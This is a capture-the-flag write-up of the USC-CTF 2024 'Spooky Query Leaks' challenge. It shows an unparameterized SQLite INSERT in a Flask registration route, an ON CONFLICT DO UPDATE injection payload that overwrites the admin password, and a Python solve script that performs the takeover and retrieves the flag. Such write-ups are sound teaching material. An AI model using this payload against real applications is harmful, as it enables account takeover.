Spooky Query Leaks (USC-CTF 2024): SQLite3 SQL Injection via UPSERT
Author: RJCyber
The website initially presented a basic login and registration form.
While testing the application with various inputs, I discovered a potential vuln. Entering a simple payload like hello' caused the /register route to respond with a 500 Internal Server Error.
Possible SQLI vulnerability hmm, suggesting that unsanitized user inputs could be directly inserted into the SQL query.
Code Review
Upon reviewing the source code, I confirmed the SQL injection vulnerability in the /register route:
cursor.execute(f"INSERT INTO users (username, password) VALUES ('{username}', '{generate_password_hash(password)}')")In this snippet, user inputs (username and password) are directly embedded in the SQL query string, without parameterization or input sanitization, allowing for malicious SQL command injection.
Flag Location
Upon further inspection, I found that the flag is accessible only through the admin account. The /dashboard route contains the logic for displaying the flag:
@app.route('/dashboard')def dashboard(): if 'username' not in session: return redirect('/login')
username = session['username'] cursor = get_db().cursor()
if username == 'admin': cursor.execute("SELECT flag FROM flags") flag = cursor.fetchone()['flag'] return render_template('dashboard.html', username=username, flag=flag)
return render_template('dashboard.html', username=username, flag=None)How the Flag Is Displayed
-
Admin Privilege Requirement: If the logged-in user is
admin, the application queries theflagstable to retrieve the flag.cursor.execute("SELECT flag FROM flags")flag = cursor.fetchone()['flag'] -
Conditional Display: The flag is conditionally rendered in the HTML template:
image
To access the flag, we need to log in as the admin user. Since we don’t know the admin password, we can utilize SQL injection to manipulate authentication and access the dashboard as the admin.
Exploitation
Through research, I discovered a method in SQLite3 using ON CONFLICT DO UPDATE. This allows us to update the admin password directly during registration if the username already exists.
We can use the following payload as the username during registration:
admin', 'meow') ON CONFLICT(username) DO UPDATE SET password = 'achuxer';--How It Works:
- The first part (
admin', 'meow')) closes theINSERTstatement. ON CONFLICT(username)triggers when trying to insert an existing user.- The password is updated to
achuxer. ;--comments out the rest of the SQL query that follow
Solution Script: solve.py
In this context the password is hashed using a function generate_password_hash
so the actual password stored in the database will not be in plain text.
#!/usr/bin/env python3import requestsfrom werkzeug.security import generate_password_hash
url = 'https://usc-spookyql.chals.io/1ef2ec1d-b8ba-44ec-8f5d-7d07ebcd598e'
def register_user(payload): response = requests.post(url + '/register', data={'username': payload, 'password': 'password'}) return response
def login_user(username, password): response = requests.post(url + '/login', data={'username': username, 'password': password}) return response
payload = f"""admin', 'meow') ON CONFLICT(username) DO UPDATE SET password = '{generate_password_hash('achuxer')}'; --"""
response = register_user(payload)print("[*] Response code: ", response.status_code)
print("[*] Logging in as admin")response = login_user('admin', 'achuxer')print(response.text)After executing this, we can Get the Flag.
FLAG: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!}
Share Article
If this article helped you, please share it with others!